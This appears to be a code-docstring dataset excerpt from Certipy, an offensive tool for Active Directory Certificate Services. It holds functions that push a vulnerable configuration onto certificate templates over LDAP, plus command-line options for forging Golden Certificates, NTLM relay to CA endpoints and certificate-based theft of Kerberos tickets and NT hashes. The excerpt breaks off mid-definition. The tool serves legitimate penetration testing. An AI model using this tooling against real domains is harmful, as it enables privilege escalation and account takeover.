certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def load_configuration(self, configuration_path: str) -> Dict[str, Any]:
"""
Load a template configuration from a JSON file.
Args:
configuration_path: Path to the configuration JSON file
Returns:
Configuration dictionary with binary values
Raises:
ValueError: If the JSON file doesn't contain a dictionary
FileNotFoundError: If the configuration file can't be found
"""
try:
with open(configuration_path, "r") as f:
configuration_json = json.load(f)
if not isinstance(configuration_json, dict):
raise ValueError(
f"Expected a JSON object, got {type(configuration_json)!r}"
)
return self.json_to_configuration(configuration_json)
except FileNotFoundError:
logging.error(f"Configuration file not found: {configuration_path}")
raise
except json.JSONDecodeError:
logging.error(f"Invalid JSON in configuration file: {configuration_path}")
raise ValueError("Invalid JSON in configuration file")
except Exception as e:
logging.error(f"Error loading configuration file: {e}")
raise
|
Load a template configuration from a JSON file.
Args:
configuration_path: Path to the configuration JSON file
Returns:
Configuration dictionary with binary values
Raises:
ValueError: If the JSON file doesn't contain a dictionary
FileNotFoundError: If the configuration file can't be found
|
load_configuration
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def save_configuration(self, configuration: Optional[LDAPEntry] = None) -> None:
"""
Save the current configuration to a JSON file.
"""
# Get the current configuration
current_configuration = configuration
if current_configuration is None:
current_configuration = self.get_configuration(self.template_name)
if not current_configuration:
raise Exception(
f"Failed to retrieve configuration for {self.template_name!r}. Aborting."
)
current_configuration_json = self.configuration_to_json(
current_configuration["attributes"]
)
out_file = (
self.save_configuration_file.removesuffix(".json")
if self.save_configuration_file
else current_configuration.get("cn")
)
out_file = f"{out_file}.json"
logging.info(f"Saving current configuration to {out_file!r}")
out_file = try_to_save_file(
current_configuration_json, out_file, abort_on_fail=True
)
logging.info(
f"Wrote current configuration for {self.template_name!r} to {out_file!r}"
)
|
Save the current configuration to a JSON file.
|
save_configuration
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def write_configuration(self) -> bool:
"""
Apply a new configuration to a certificate template.
If no configuration file is provided, applies the default vulnerable
configuration. If save_old is True, saves the current configuration
before applying changes.
Returns:
True if the template was successfully updated, False otherwise
"""
if not self.template_name:
logging.error("A template (-template) is required")
return False
# Get the configuration to apply
if self.write_configuration_file:
try:
new_configuration = self.load_configuration(
self.write_configuration_file
)
except (FileNotFoundError, ValueError):
return False
else:
# Use the default vulnerable configuration
new_configuration = CONFIGURATION_TEMPLATE
# Get the current configuration
old_configuration = self.get_configuration(self.template_name)
if not old_configuration:
return False
# Save the old configuration if requested
if not self.no_save:
self.save_configuration(old_configuration)
# Compute the changes to make
changes = self._compute_changes(old_configuration, new_configuration)
if not changes:
logging.warning(
"New configuration is the same as old configuration. Not updating"
)
return False
# Apply the changes
return self._apply_changes(old_configuration, changes)
|
Apply a new configuration to a certificate template.
If no configuration file is provided, applies the default vulnerable
configuration. If save_old is True, saves the current configuration
before applying changes.
Returns:
True if the template was successfully updated, False otherwise
|
write_configuration
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def _compute_changes(
self, old_configuration: LDAPEntry, new_configuration: Dict[str, Any]
) -> Dict[str, Any]:
"""
Compute the changes needed to update a template configuration.
Args:
old_configuration: Current template configuration
new_configuration: New template configuration to apply
Returns:
Dictionary of changes to apply using LDAP modify operation
"""
changes = {}
# Check for attributes to delete or modify
for key in old_configuration["attributes"].keys():
if key in PROTECTED_ATTRIBUTES:
continue
# Delete attributes not in the new configuration
if key not in new_configuration:
changes[key] = [(ldap3.MODIFY_DELETE, [])]
continue
# Replace attributes with new values if different
old_value = old_configuration.get(key)
new_value = new_configuration[key]
if type(old_value) != type(new_value):
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
continue
if isinstance(old_value, list):
# Check if the list values are different
if collections.Counter(old_value) != collections.Counter(new_value):
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
continue
if old_value != new_value:
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
# Add new attributes not in the old configuration
for key, value in new_configuration.items():
if (
key in changes
or key in PROTECTED_ATTRIBUTES
or key in old_configuration["attributes"]
):
continue
changes[key] = [(ldap3.MODIFY_ADD, value)]
return changes
|
Compute the changes needed to update a template configuration.
Args:
old_configuration: Current template configuration
new_configuration: New template configuration to apply
Returns:
Dictionary of changes to apply using LDAP modify operation
|
_compute_changes
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def _apply_changes(
self, old_configuration: LDAPEntry, changes: Dict[str, Any]
) -> bool:
"""
Apply computed changes to a template configuration.
Args:
old_configuration: Current template configuration
changes: Dictionary of changes to apply
Returns:
True if changes were applied successfully, False otherwise
"""
template_name = old_configuration.get("cn")
logging.info(f"Updating certificate template {template_name!r}")
# Log the changes grouped by operation type
self._log_changes(changes)
if not self.force:
# Ask for confirmation before applying changes
confirm = input(
f"Are you sure you want to apply these changes to {template_name!r}? (y/N): "
)
if confirm.strip().lower() != "y":
logging.info("Aborting changes")
return False
# Apply the changes
result = self.connection.modify(
old_configuration.get("distinguishedName"),
changes,
controls=security_descriptor_control(sdflags=0x4),
)
if result["result"] == 0:
logging.info(f"Successfully updated {template_name!r}")
return True
elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
logging.error(
f"User {self.target.username!r} doesn't have permission to update "
f"these attributes on {template_name!r}"
)
else:
logging.error(f"Got error: {result['message']}")
return False
|
Apply computed changes to a template configuration.
Args:
old_configuration: Current template configuration
changes: Dictionary of changes to apply
Returns:
True if changes were applied successfully, False otherwise
|
_apply_changes
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def _log_changes(self, changes: Dict[str, Any]) -> None:
"""
Log the changes to be applied, grouped by operation type.
Args:
changes: Dictionary of changes to apply
"""
# Group changes by operation (MODIFY_DELETE, MODIFY_REPLACE, MODIFY_ADD)
by_op = lambda item: item[1][0][0]
for op, group in groupby(sorted(changes.items(), key=by_op), by_op):
op_name = {
ldap3.MODIFY_ADD: "Adding",
ldap3.MODIFY_DELETE: "Deleting",
ldap3.MODIFY_REPLACE: "Replacing",
}.get(op, op)
logging.info(f"{op_name}:")
for item in list(group):
key = item[0]
value = item[1][0][1]
logging.info(f" {key}: {value!r}")
|
Log the changes to be applied, grouped by operation type.
Args:
changes: Dictionary of changes to apply
|
_log_changes
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the template command.
Args:
options: Command-line arguments
"""
target = Target.from_options(options, dc_as_target=True)
# Remove target from options to avoid duplicate argument
options.__delattr__("target")
template = Template(target=target, **vars(options))
will_write = (
template.write_default_configuration or template.write_configuration_file
)
if template.save_configuration_file:
template.save_configuration()
if will_write:
template.write_configuration()
# if template.write_default_configuration or template.configuration:
# # Apply the configuration
# if not template.set_configuration():
# logging.error("Failed to set the template configuration")
# return
# _ = template.set_configuration()
|
Entry point for the template command.
Args:
options: Command-line arguments
|
entry
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the account management command subparser to the main parser.
This function creates and configures a subparser for managing Active Directory
accounts, including options for creating, reading, updating, and deleting
user and computer accounts.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the account subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage user and machine accounts",
description=(
"Create, read, update, and delete Active Directory user and computer accounts. "
"This command allows manipulating account properties including DNS names, "
"service principal names (SPNs), and passwords."
),
)
# Main action argument
subparser.add_argument(
"account_action",
choices=["create", "read", "update", "delete"],
help=(
"Action to perform: "
"create (new account), "
"read (view account properties), "
"update (modify existing account), "
"delete (remove account)"
),
)
# Target account options
target_group = subparser.add_argument_group("target options")
target_group.add_argument(
"-user",
action="store",
metavar="SAM Account Name",
help="Logon name for the account to target",
required=True,
)
target_group.add_argument(
"-group",
action="store",
metavar="CN=Computers,DC=test,DC=local",
help=(
"Group to which the account will be added. "
"If omitted, CN=Computers,<default path> will be used"
),
)
# Account attribute options
attr_group = subparser.add_argument_group("attribute options")
attr_group.add_argument(
"-dns",
action="store",
metavar="hostname",
help="Set the DNS hostname for the account (e.g., computer.domain.local)",
)
attr_group.add_argument(
"-upn",
action="store",
metavar="principal name",
help="Set the User Principal Name for the account (e.g., [email protected])",
)
attr_group.add_argument(
"-sam",
action="store",
metavar="account name",
help="Set the SAM Account Name for the account (e.g., computer$ or username)",
)
attr_group.add_argument(
"-spns",
action="store",
metavar="service names",
help="Set the Service Principal Names for the account (comma-separated)",
)
attr_group.add_argument(
"-pass",
action="store",
dest="passw",
metavar="password",
help="Set the password for the account",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
|
Add the account management command subparser to the main parser.
This function creates and configures a subparser for managing Active Directory
accounts, including options for creating, reading, updating, and deleting
user and computer accounts.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/account.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/account.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate authentication command subparser to the main parser.
This function creates and configures a subparser for authenticating with
certificates to Active Directory services, including options for retrieving
Kerberos tickets and establishing LDAP connections.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the auth subparser with description
subparser = subparsers.add_parser(
NAME,
help="Authenticate using certificates",
description=(
"Authenticate to Active Directory services using certificates. "
"This command enables certificate-based authentication to obtain "
"Kerberos tickets, NT hashes, or establish LDAP connections."
),
)
# Certificate options
cert_group = subparser.add_argument_group("certificate options")
cert_group.add_argument(
"-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to certificate and private key (PFX/P12 format)",
required=True,
)
cert_group.add_argument(
"-password",
action="store",
metavar="password",
help="Password for the PFX/P12 file",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-no-save", action="store_true", help="Don't save Kerberos TGT to file"
)
output_group.add_argument(
"-no-hash", action="store_true", help="Don't request NT hash from Kerberos"
)
output_group.add_argument(
"-print",
action="store_true",
help="Print Kerberos TGT in Kirbi format to console",
)
output_group.add_argument(
"-kirbi",
action="store_true",
help="Save Kerberos TGT in Kirbi format (default is ccache)",
)
# Connection options
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help=(
"IP Address of the domain controller. If omitted, it will use the domain "
"part (FQDN) specified in the target parameter"
),
)
conn_group.add_argument(
"-ns",
action="store",
metavar="nameserver",
help="Nameserver for DNS resolution",
)
conn_group.add_argument(
"-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries"
)
conn_group.add_argument(
"-timeout",
action="store",
metavar="seconds",
help="Timeout for connections in seconds",
default=5,
type=int,
)
# Authentication options
auth_group = subparser.add_argument_group("authentication options")
auth_group.add_argument(
"-username",
action="store",
metavar="username",
help="Username to authenticate as (extracted from certificate if omitted)",
)
auth_group.add_argument(
"-domain",
action="store",
metavar="domain",
help="Domain name to authenticate to (extracted from certificate if omitted)",
)
auth_group.add_argument(
"-ldap-shell",
action="store_true",
help="Authenticate with the certificate via Schannel against LDAP",
)
# LDAP Options Group
ldap_group = subparser.add_argument_group("ldap options")
_ = ldap_group.add_argument(
"-ldap-scheme",
action="store",
metavar="ldap scheme",
choices=["ldap", "ldaps"],
default="ldaps",
help="LDAP connection scheme to use (default: ldaps)",
)
_ = ldap_group.add_argument(
"-ldap-port",
action="store",
metavar="port",
type=int,
help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)",
)
_ = ldap_group.add_argument(
"-ldap-user-dn",
action="store",
metavar="dn",
help="Distinguished Name of target account for LDAP authentication",
)
return NAME, entry
|
Add the certificate authentication command subparser to the main parser.
This function creates and configures a subparser for authenticating with
certificates to Active Directory services, including options for retrieving
Kerberos tickets and establishing LDAP connections.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/auth.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/auth.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the Certificate Authority management command subparser to the main parser.
This function creates and configures a subparser for managing Certificate
Authorities in Active Directory, including template management, request
processing, permission assignments, and CA backup operations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the CA subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage CA and certificates",
description=(
"Manage Certificate Authority configurations, templates, and permissions. "
"This command allows enabling/disabling templates, processing certificate "
"requests, managing role assignments, and backing up CA certificates."
),
)
# CA identification
subparser.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help="Name of the Certificate Authority to manage",
)
# Certificate template management options
template_group = subparser.add_argument_group("certificate template options")
template_group.add_argument(
"-enable-template",
action="store",
metavar="template name",
help="Enable a certificate template on the CA",
)
template_group.add_argument(
"-disable-template",
action="store",
metavar="template name",
help="Disable a certificate template on the CA",
)
template_group.add_argument(
"-list-templates",
action="store_true",
help="List all enabled certificate templates on the CA",
)
# Certificate request processing options
request_group = subparser.add_argument_group("certificate request options")
request_group.add_argument(
"-issue-request",
action="store",
metavar="request ID",
help="Issue a pending or failed certificate request",
)
request_group.add_argument(
"-deny-request",
action="store",
metavar="request ID",
help="Deny a pending certificate request",
)
# Certificate officer management
officer_group = subparser.add_argument_group("officer options")
officer_group.add_argument(
"-add-officer",
action="store",
metavar="officer",
help="Add a new officer (Certificate Manager) to the CA",
)
officer_group.add_argument(
"-remove-officer",
action="store",
metavar="officer",
help="Remove an existing officer (Certificate Manager) from the CA",
)
# CA manager role management
manager_group = subparser.add_argument_group("manager options")
manager_group.add_argument(
"-add-manager",
action="store",
metavar="manager",
help="Add a new manager (CA Manager) to the CA",
)
manager_group.add_argument(
"-remove-manager",
action="store",
metavar="manager",
help="Remove an existing manager (CA Manager) from the CA",
)
# Backup operations
backup_group = subparser.add_argument_group("backup options")
backup_group.add_argument(
"-backup",
action="store_true",
help="Backup CA certificate and private key",
)
backup_group.add_argument(
"-config",
action="store",
metavar="Machine\\CA",
help="CA configuration string in format Machine\\CAName",
)
# Connection options
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-dynamic-endpoint",
action="store_true",
help="Prefer dynamic TCP endpoint over named pipe",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser, connection_options=conn_group)
return NAME, entry
|
Add the Certificate Authority management command subparser to the main parser.
This function creates and configures a subparser for managing Certificate
Authorities in Active Directory, including template management, request
processing, permission assignments, and CA backup operations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/ca.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/ca.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate management command subparser to the main parser.
This function creates and configures a subparser for managing certificates
and private keys, including options for importing from various formats,
exporting to PFX, and manipulating certificate components.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the cert subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage certificates and private keys",
description=(
"Import, export, and manipulate certificates and private keys locally. "
"This command supports various operations like converting between formats, "
"extracting components, and creating PFX files."
),
)
# Input options group
input_group = subparser.add_argument_group("input options")
input_group.add_argument(
"-pfx",
action="store",
metavar="infile",
help="Load certificate and private key from PFX/P12 file",
)
input_group.add_argument(
"-password",
action="store",
metavar="password",
help="Password for the input PFX/P12 file",
)
input_group.add_argument(
"-key",
action="store",
metavar="infile",
help="Load private key from PEM or DER file",
)
input_group.add_argument(
"-cert",
action="store",
metavar="infile",
help="Load certificate from PEM or DER file",
)
# Output options group
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-export", action="store_true", help="Export to PFX/P12 file (default format)"
)
output_group.add_argument(
"-out",
action="store",
metavar="outfile",
help="Output filename for the exported certificate/key",
)
output_group.add_argument(
"-nocert",
action="store_true",
help="Don't include certificate in output (key only)",
)
output_group.add_argument(
"-nokey",
action="store_true",
help="Don't include private key in output (certificate only)",
)
output_group.add_argument(
"-export-password",
action="store",
metavar="password",
help="Password to protect the output PFX/P12 file",
)
return NAME, entry
|
Add the certificate management command subparser to the main parser.
This function creates and configures a subparser for managing certificates
and private keys, including options for importing from various formats,
exporting to PFX, and manipulating certificate components.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/cert.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/cert.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the AD CS enumeration command subparser to the main parser.
This function creates and configures a subparser for finding and analyzing
Active Directory Certificate Services components, including certificate
templates, enrollment services, and CA configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the find subparser with description
subparser = subparsers.add_parser(
NAME,
help="Enumerate AD CS",
description=(
"Discover and analyze Active Directory Certificate Services (AD CS) components. "
"This command identifies vulnerable certificate templates, security misconfigurations, "
"and potential certificate-based privilege escalation paths."
),
)
# Output options group
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-text",
action="store_true",
help="Output result as formatted text file",
)
output_group.add_argument(
"-stdout",
action="store_true",
help="Output result as text directly to console",
)
output_group.add_argument(
"-json",
action="store_true",
help="Output result as JSON",
)
output_group.add_argument(
"-csv",
action="store_true",
help="Output result as CSV",
)
output_group.add_argument(
"-output",
action="store",
metavar="prefix",
help="Filename prefix for writing results to",
)
# Find options group
find_group = subparser.add_argument_group("find options")
find_group.add_argument(
"-enabled",
action="store_true",
help="Show only enabled certificate templates",
)
find_group.add_argument(
"-dc-only",
action="store_true",
help=(
"Collects data only from the domain controller. Will not try to retrieve "
"CA security/configuration or check for Web Enrollment"
),
)
find_group.add_argument(
"-vulnerable",
action="store_true",
help="Show only vulnerable certificate templates based on nested group memberships",
)
find_group.add_argument(
"-oids",
action="store_true",
help="Show OIDs (Issuance Policies) and their properties",
)
find_group.add_argument(
"-hide-admins",
action="store_true",
help="Don't show administrator permissions for -text, -stdout, -json, and -csv",
)
# Identity options for cross-domain operation
identity_group = subparser.add_argument_group("identity options")
identity_group.add_argument(
"-sid",
action="store",
metavar="object sid",
help="SID of the user provided in the command line. Useful for cross domain authentication",
)
identity_group.add_argument(
"-dn",
action="store",
metavar="distinguished name",
help="Distinguished name of the user provided in the command line. Useful for cross domain authentication",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
|
Add the AD CS enumeration command subparser to the main parser.
This function creates and configures a subparser for finding and analyzing
Active Directory Certificate Services components, including certificate
templates, enrollment services, and CA configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/find.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/find.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate forging command subparser to the main parser.
This function creates and configures a subparser for forging certificates
with a compromised CA certificate, allowing creation of Golden Certificates
that can be used for authentication and privilege escalation.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the forge subparser with description
subparser = subparsers.add_parser(
NAME,
help="Create Golden Certificates or self-signed certificates",
description=(
"Forge certificates using a compromised CA certificate or generate a self-signed CA. "
"This allows creating certificates for any identity in the domain or creating standalone certificate chains."
),
)
# CA certificate (optional, if not specified a self-signed root CA will be generated)
subparser.add_argument(
"-ca-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to CA certificate and private key (PFX/P12 format). If not specified, a self-signed root CA will be generated",
)
# CA certificate password
subparser.add_argument(
"-ca-password",
action="store",
metavar="password",
help="Password for the CA PFX file",
)
# Subject Alternative Name options
san_group = subparser.add_argument_group("subject alternative name options")
san_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
san_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
san_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
san_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate content options
cert_group = subparser.add_argument_group("certificate content options")
cert_group.add_argument(
"-template",
action="store",
metavar="pfx/p12 file name",
help="Path to template certificate to clone properties from",
)
cert_group.add_argument(
"-issuer",
action="store",
metavar="issuer",
help="Issuer to include in certificate. If not specified, the issuer from the CA cert will be used",
)
cert_group.add_argument(
"-crl",
action="store",
metavar="ldap path",
help="LDAP path to a CRL distribution point",
)
cert_group.add_argument(
"-serial",
action="store",
metavar="serial number",
help="Custom serial number for the certificate",
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Key options
key_group = subparser.add_argument_group("key options")
key_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
# Validity options
validity_group = subparser.add_argument_group("validity options")
validity_group.add_argument(
"-validity-period",
action="store",
metavar="days",
help="Validity period in days (default: 365)",
default=365,
type=int,
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the forged certificate and private key (PFX format)",
)
output_group.add_argument(
"-pfx-password",
action="store",
metavar="password",
help="Password to protect the output PFX file",
)
return NAME, entry
|
Add the certificate forging command subparser to the main parser.
This function creates and configures a subparser for forging certificates
with a compromised CA certificate, allowing creation of Golden Certificates
that can be used for authentication and privilege escalation.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/forge.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/forge.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the parse command subparser to the main parser.
This function creates and configures a subparser for analyzing AD CS certificate
templates from registry data, allowing offline enumeration of potentially
vulnerable templates.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the parse subparser with description
subparser = subparsers.add_parser(
NAME,
help="Offline enumerate AD CS based on registry data",
description=(
"Parse and analyze certificate templates from exported registry data. "
"This allows assessment of AD CS security without direct domain access."
),
)
# Input file (positional argument, required)
subparser.add_argument(
"file", help="File to parse (BOF output or .reg file from registry export)"
)
# Output format options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-text",
action="store_true",
help="Output result as formatted text file",
)
output_group.add_argument(
"-stdout",
action="store_true",
help="Output result as text directly to console",
)
output_group.add_argument(
"-json",
action="store_true",
help="Output result as JSON",
)
output_group.add_argument(
"-csv",
action="store_true",
help="Output result as CSV",
)
output_group.add_argument(
"-output",
action="store",
metavar="prefix",
help="Filename prefix for writing results to",
)
# Parse options for input interpretation and filtering
parse_group = subparser.add_argument_group("parse options")
parse_group.add_argument(
"-format",
metavar="format",
help="Input format: BOF output or Windows .reg file (default: bof)",
choices=["bof", "reg"],
default="bof",
)
parse_group.add_argument(
"-domain",
metavar="domain name",
help="Domain name. Only used for output context (default: UNKNOWN)",
type=lambda arg: arg.upper(),
default="UNKNOWN",
)
parse_group.add_argument(
"-ca",
metavar="ca name",
help="CA name. Only used for output context (default: UNKNOWN)",
default="UNKNOWN",
)
# Security analysis options
parse_group.add_argument(
"-sids",
metavar="sids",
help="Consider the comma separated list of SIDs as owned for vulnerability assessment",
type=lambda arg: list(map(str.strip, arg.split(","))),
default=[],
)
parse_group.add_argument(
"-published",
metavar="templates",
help="Consider the comma separated list of template names as published in AD",
type=lambda arg: list(map(str.strip, arg.split(","))),
default=[],
)
# Filter options
filter_group = subparser.add_argument_group("filter options")
filter_group.add_argument(
"-enabled",
action="store_true",
help="Show only enabled certificate templates",
)
filter_group.add_argument(
"-vulnerable",
action="store_true",
help="Show only vulnerable certificate templates based on nested group memberships",
)
filter_group.add_argument(
"-hide-admins",
action="store_true",
help="Don't show administrator permissions for -text, -stdout, -json, and -csv output",
)
return NAME, entry
|
Add the parse command subparser to the main parser.
This function creates and configures a subparser for analyzing AD CS certificate
templates from registry data, allowing offline enumeration of potentially
vulnerable templates.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
|
add_subparser
|
python
|
ly4k/Certipy
|
certipy/commands/parsers/parse.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parsers/parse.py
|
MIT
|
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the NTLM relay command subparser to the main parser.
This function creates and configures a subparser for relaying NTLM authentication
to AD CS HTTP endpoints, enabling certificate theft and account takeover via
certificate-based authentication.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the relay subparser with description
subparser = subparsers.add_parser(
NAME,
help="NTLM Relay to AD CS HTTP Endpoints",
description=(
"Perform NTLM relay attacks against Active Directory Certificate Services. "
"This allows obtaining certificates for relayed users and computers, "
"which can be used for authentication and potential privilege escalation."
),
)
# Target CA (required)
subparser.add_argument(
"-target",
action="store",
metavar="protocol://<ip address or hostname>",
required=True,
help=(
"protocol://<IP address or hostname> of certificate authority. "
"Example: http://ca.corp.local for ESC8 or rpc://ca.corp.local for ESC11"
),
)
# Certificate request parameters
cert_group = subparser.add_argument_group("certificate request options")
cert_group.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help=(
"CA name to request certificate from. Example: 'CORP-CA'. "
"Only required for RPC relay (ESC11)"
),
)
cert_group.add_argument(
"-template",
action="store",
metavar="template name",
help=(
"If omitted, the template 'Machine' or 'User' is chosen by default "
"depending on whether the relayed account name ends with '$'. "
"Relaying a DC should require specifying the 'DomainController' template"
),
)
# Subject Alternative Name options
cert_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate options
cert_group.add_argument(
"-retrieve",
action="store",
metavar="request ID",
help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate",
default=None,
type=int,
)
cert_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
cert_group.add_argument(
"-archive-key",
action="store",
metavar="cax cert file",
help="Specify CAX Certificate for Key Archival. You can request the cax cert with 'certipy req -cax-cert'",
)
cert_group.add_argument(
"-pfx-password",
action="store",
metavar="PFX file password",
help="Password for the PFX file",
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the certificate and private key (PFX format)",
)
# Server configuration options
server_group = subparser.add_argument_group("server options")
server_group.add_argument(
"-interface",
action="store",
metavar="ip address",
help="IP Address of interface to listen on (default: 0.0.0.0)",
default="0.0.0.0",
)
server_group.add_argument(
"-port",
action="store",
metavar="port number",
help="Port to listen on (default: 445)",
default=445,
type=int,
)
# Relay behavior options
relay_group = subparser.add_argument_group("relay options")
relay_group.add_argument(
"-forever",
action="store_true",
help="Don't stop the relay server after the first successful relay",
)
relay_group.add_argument(
"-no-skip",
action="store_true",
help="Don't skip previously attacked users (use with -forever)",
)
relay_group.add_argument(
"-enum-templates",
